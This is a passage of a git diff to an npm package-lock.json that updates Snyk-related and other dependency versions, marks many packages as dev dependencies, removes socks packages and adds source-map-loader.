+ "snyk-try-require": "^2.0.0" }, "dependencies": { - "@types/node": { - "version": "6.14.11", - "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz", - "integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA==" - }, "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" + } + }, + "lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "requires": { + "yallist": "^3.0.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true }, - "snyk-module": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-2.1.0.tgz", - "integrity": "sha512-K5xeA39vLbm23Y/29wFEhKGvo7FwV4x9XhCP5gB22dBPyYiCCNiDERX4ofHQvtM6q96cL0hIroMdlbctv/0nPw==", + "snyk-try-require": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/snyk-try-require/-/snyk-try-require-2.0.1.tgz", + "integrity": "sha512-VCOfFIvqLMXgCXEdooQgu3A40XYIFBnj0X8Y01RJ5iAbu08b4WKGN/uAKaRVF30dABS4EcjsalmCO+YlKUPEIA==", + "dev": true, "requires": { - "@types/hosted-git-info": "^2.7.0", - "@types/node": "^6.14.7", - "debug": "^3.1.0", - "hosted-git-info": "^2.7.1" - }, - "dependencies": { - "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", - "requires": { - "ms": "^2.1.1" - } - } + "debug": "^4.1.1", + "lodash.clonedeep": "^4.3.0", + "lru-cache": "^5.1.1" } + }, + "yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true } } }, "snyk-python-plugin": { - "version": "1.17.1", - "resolved": "https://registry.npmjs.org/snyk-python-plugin/-/snyk-python-plugin-1.17.1.tgz", - "integrity": "sha512-KKklat9Hfbj4hw2y63LRhgmziYzmyRt+cSuzN5KDmBSAGYck0EAoPDtNpJXjrIs1kPNz28EXnE6NDnadXnOjiQ==", + "version": "1.19.8", + "resolved": "https://registry.npmjs.org/snyk-python-plugin/-/snyk-python-plugin-1.19.8.tgz", + "integrity": "sha512-LMKVnv0J4X/qHMoKB17hMND0abWtm9wdgI4xVzrOcf2Vtzs3J87trRhwLxQA2lMoBW3gcjtTeBUvNKaxikSVeQ==", + "dev": true, "requires": { "@snyk/cli-interface": "^2.0.3", + "snyk-poetry-lockfile-parser": "^1.1.6", "tmp": "0.0.33" } }, "snyk-resolve": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/snyk-resolve/-/snyk-resolve-1.0.1.tgz", - "integrity": "sha512-7+i+LLhtBo1Pkth01xv+RYJU8a67zmJ8WFFPvSxyCjdlKIcsps4hPQFebhz+0gC5rMemlaeIV6cqwqUf9PEDpw==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/snyk-resolve/-/snyk-resolve-1.1.0.tgz", + "integrity": "sha512-OZMF8I8TOu0S58Z/OS9mr8jkEzGAPByCsAkrWlcmZgPaE0RsxVKVIFPhbMNy/JlYswgGDYYIEsNw+e0j1FnTrw==", + "dev": true, "requires": { - "debug": "^3.1.0", - "then-fs": "^2.0.0" + "debug": "^4.1.1", + "promise-fs": "^2.1.1" }, "dependencies": { "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true } } }, "snyk-resolve-deps": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/snyk-resolve-deps/-/snyk-resolve-deps-4.4.0.tgz", - "integrity": "sha512-aFPtN8WLqIk4E1ulMyzvV5reY1Iksz+3oPnUVib1jKdyTHymmOIYF7z8QZ4UUr52UsgmrD9EA/dq7jpytwFoOQ==", + "version": "4.7.2", + "resolved": "https://registry.npmjs.org/snyk-resolve-deps/-/snyk-resolve-deps-4.7.2.tgz", + "integrity": "sha512-Bmtr7QdRL2b3Js+mPDmvXbkprOpzO8aUFXqR0nJKAOlUVQqZ84yiuT0n/mssEiJJ0vP+k0kZvTeiTwgio4KZRg==", + "dev": true, "requires": { - "@types/node": "^6.14.4", - "@types/semver": "^5.5.0", "ansicolors": "^0.3.2", - "debug": "^3.2.5", + "debug": "^4.1.1", "lodash.assign": "^4.2.0", "lodash.assignin": "^4.2.0", "lodash.clone": "^4.5.0", @@ -15599,39 +19959,27 @@ "lodash.set": "^4.3.2", "lru-cache": "^4.0.0", "semver": "^5.5.1", - "snyk-module": "^1.6.0", + "snyk-module": "^3.1.0", "snyk-resolve": "^1.0.0", "snyk-tree": "^1.0.0", "snyk-try-require": "^1.1.1", "then-fs": "^2.0.0" }, "dependencies": { - "@types/node": { - "version": "6.14.11", - "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz", - "integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA==" - }, "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "snyk-module": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-1.9.1.tgz", - "integrity": "sha512-A+CCyBSa4IKok5uEhqT+hV/35RO6APFNLqk9DRRHg7xW2/j//nPX8wTSZUPF8QeRNEk/sX+6df7M1y6PBHGSHA==", - "requires": { - "debug": "^3.1.0", - "hosted-git-info": "^2.7.1" - } + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true } } }, @@ -15639,6 +19987,7 @@ "version": "2.11.0", "resolved": "https://registry.npmjs.org/snyk-sbt-plugin/-/snyk-sbt-plugin-2.11.0.tgz", "integrity": "sha512-wUqHLAa3MzV6sVO+05MnV+lwc+T6o87FZZaY+43tQPytBI2Wq23O3j4POREM4fa2iFfiQJoEYD6c7xmhiEUsSA==", + "dev": true, "requires": { "debug": "^4.1.1", "semver": "^6.1.2", @@ -15648,27 +19997,31 @@ }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true }, "tmp": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz", "integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==", + "dev": true, "requires": { "rimraf": "^2.6.3" } @@ -15679,6 +20032,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/snyk-tree/-/snyk-tree-1.0.0.tgz", "integrity": "sha1-D7cxdtvzLngvGRAClBYESPkRHMg=", + "dev": true, "requires": { "archy": "^1.0.0" } @@ -15687,6 +20041,7 @@ "version": "1.3.1", "resolved": "https://registry.npmjs.org/snyk-try-require/-/snyk-try-require-1.3.1.tgz", "integrity": "sha1-bgJvkuZK9/zM6h7lPVJIQeQYohI=", + "dev": true, "requires": { "debug": "^3.1.0", "lodash.clonedeep": "^4.3.0", @@ -15695,17 +20050,19 @@ }, "dependencies": { "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, "requires": { "ms": "^2.1.1" } }, "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true } } }, @@ -15760,34 +20117,6 @@ } } }, - "socks": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/socks/-/socks-2.3.3.tgz", - "integrity": "sha512-o5t52PCNtVdiOvzMry7wU4aOqYWL0PeCXRWBEiJow4/i/wr+wpsJQ9awEu1EonLIqsfGd5qSgDdxEOvCdmBEpA==", - "requires": { - "ip": "1.1.5", - "smart-buffer": "^4.1.0" - } - }, - "socks-proxy-agent": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-4.0.2.tgz", - "integrity": "sha512-NT6syHhI9LmuEMSK6Kd2V7gNv5KFZoLE7V5udWmn0de+3Mkj3UMA/AJPLyeNUVmElCurSHtUdM3ETpR3z770Wg==", - "requires": { - "agent-base": "~4.2.1", - "socks": "~2.3.2" - }, - "dependencies": { - "agent-base": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.2.1.tgz", - "integrity": "sha512-JVwXMr9nHYTUXsBFKUqhJwvlcYU/blreOEUkhNR2eXZIvwd+c+o5V4MgDPKWnMS/56awN3TRzIP+KoPn+roQtg==", - "requires": { - "es6-promisify": "^5.0.0" - } - } - } - }, "source-list-map": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", @@ -15799,6 +20128,83 @@ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=" }, + "source-map-loader": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-1.1.3.tgz", + "integrity": "sha512-6YHeF+XzDOrT/ycFJNI53cgEsp/tHTMl37hi7uVyqFAlTXW109JazaQCkbc+jjoL2637qkH1amLi+JzrIpt5lA==", + "requires": { + "abab": "^2.0.5", + "iconv-lite": "^0.6.2", + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0", + "source-map": "^0.6.1", + "whatwg-mimetype": "^2.3.0" + }, + "dependencies": { + "@types/json-schema": { + "version": "7.0.7", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.7.tgz", + "integrity": "sha512-cxWFQVseBm6O9Gbw1IWb8r6OS4OhSt3hPZLkFApLjM8TEXROBuQGLAH2i2gZpcXdLBIrpXuTDhH7Vbm1iXmNGA==" + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==" + }, + "iconv-lite": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.2.tgz", + "integrity": "sha512-2y91h5OpQlolefMPmUlivelittSWy0rP+oYVpn6A7GwVHNE8AWzoYOBNmlwks3LobaJxgHCYZAnyNo2GgpNRNQ==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + } + }, + "json5": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", + "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", + "requires": { + "minimist": "^1.2.5" + } + }, + "loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", + "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "schema-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.0.0.tgz", + "integrity": "sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA==", + "requires": { + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + } + } + }, "source-map-resolve": { "version": "0.5.3", "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz", @@ -15816,6 +20222,7 @@ "version": "0.5.19", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "dev": true, "requires": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" @@ -15824,7 +20231,8 @@ "source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true } } }, @@ -15947,7 +20355,8 @@ "split-ca": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz", - "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=" + "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=", + "dev": true }, "split-string": { "version": "3.1.0", @@ -15961,12 +20370,14 @@ "sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=" + "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", + "dev": true }, "ssh2": { "version": "0.8.9", "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.8.9.tgz", "integrity": "sha512-GmoNPxWDMkVpMFa9LVVzQZHF6EW3WKmBwL+4/GeILf2hFmix5Isxm7Amamo8o7bHiU0tC+wXsGcUXOxp8ChPaw==", + "dev": true, "requires": { "ssh2-streams": "~0.4.10" } @@ -15975,6 +20386,7 @@ "version": "0.4.10", "resolved": "https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.4.10.tgz", "integrity": "sha512-8pnlMjvnIZJvmTzUIIA5nT4jr2ZWNNVHwyXfMGdRJbug9TpI3kd99ffglgfSWqujVv/0gxwMsDn9j9RVst8yhQ==", + "dev": true, "requires": { "asn1": "~0.2.0", "bcrypt-pbkdf": "^1.0.2", @@ -15999,20 +20411,14 @@ } }, "ssri": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.1.tgz", - "integrity": "sha512-3Wge10hNcT1Kur4PDFwEieXSCMCJs/7WvSACcrMYrNp+b8kDL1/0wJch5Ni2WrtwEa2IO8OsVfeKIciKCDx/QA==", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.2.tgz", + "integrity": "sha512-cepbSq/neFK7xB6A50KHN0xHDotYzq58wWCa5LeWqnPrHG8GzfEjO/4O8kpmcGW+oaxkvhEJCWgbgNk4/ZV93Q==", "dev": true, "requires": { "figgy-pudding": "^3.5.1" } }, - "state-toggle": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/state-toggle/-/state-toggle-1.0.3.tgz", - "integrity": "sha512-d/5Z4/2iiCnHw6Xzghyhb+GcmF89bxwgXG60wjIiZaxnymbyOmI8Hk4VqHXiVVp6u2ysaskFfXg3ekCj4WNftQ==", - "dev": true - }, "static-extend": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", @@ -16037,7 +20443,8 @@ "statuses": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", - "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", + "dev": true }, "stdout-stream": { "version": "1.4.1", @@ -16061,7 +20468,8 @@ "stream-buffers": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-3.0.2.tgz", - "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ==" + "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ==", + "dev": true }, "stream-each": { "version": "1.2.3", @@ -16089,12 +20497,14 @@ "stream-shift": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz", - "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==" + "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==", + "dev": true }, "stream-to-array": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/stream-to-array/-/stream-to-array-2.3.0.tgz", "integrity": "sha1-u/azn19D7DC8cbq8s3VXrOzzQ1M=", + "dev": true, "requires": { "any-promise": "^1.1.0" } @@ -16103,6 +20513,7 @@ "version": "2.2.0", "resolved": "https://registry.npmjs.org/stream-to-promise/-/stream-to-promise-2.2.0.tgz", "integrity": "sha1-se2y4cjLESidG1A8CNPyrvUeZQ8=", + "dev": true, "requires": { "any-promise": "~1.3.0", "end-of-stream": "~1.1.0", @@ -16113,6 +20524,7 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.1.0.tgz", "integrity": "sha1-6TUyWLqpEIll78QcsO+K3i88+wc=", + "dev": true, "requires": { "once": "~1.3.0" } @@ -16121,6 +20533,7 @@ "version": "1.3.3", "resolved": "https://registry.npmjs.org/once/-/once-1.3.3.tgz", "integrity": "sha1-suJhVXzkwxTsgwTz+oJmPkKXyiA=", + "dev": true, "requires": { "wrappy": "1" } @@ -16130,12 +20543,14 @@ "streamsearch": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", - "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=" + "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=", + "dev": true }, "string-width": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "dev": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -16143,17 +20558,116 @@ } }, "string.prototype.matchall": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.2.tgz", - "integrity": "sha512-N/jp6O5fMf9os0JU3E72Qhf590RSRZU/ungsL/qJUYVTNv7hTG0P/dbPjxINVN9jpscu3nzYwKESU3P3RY5tOg==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.4.tgz", + "integrity": "sha512-pknFIWVachNcyqRfaQSeu/FUfpvJTe4uskUSZ9Wc1RijsPuzbZ8TyYT8WCNnntCjUEqQ3vUHMAfVj2+wLAisPQ==", "dev": true, "requires": { + "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.17.0", + "es-abstract": "^1.18.0-next.2", "has-symbols": "^1.0.1", - "internal-slot": "^1.0.2", - "regexp.prototype.flags": "^1.3.0", - "side-channel": "^1.0.2" + "internal-slot": "^1.0.3", + "regexp.prototype.flags": "^1.3.1", + "side-channel": "^1.0.4" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + }, + "dependencies": { + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + } + } + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + 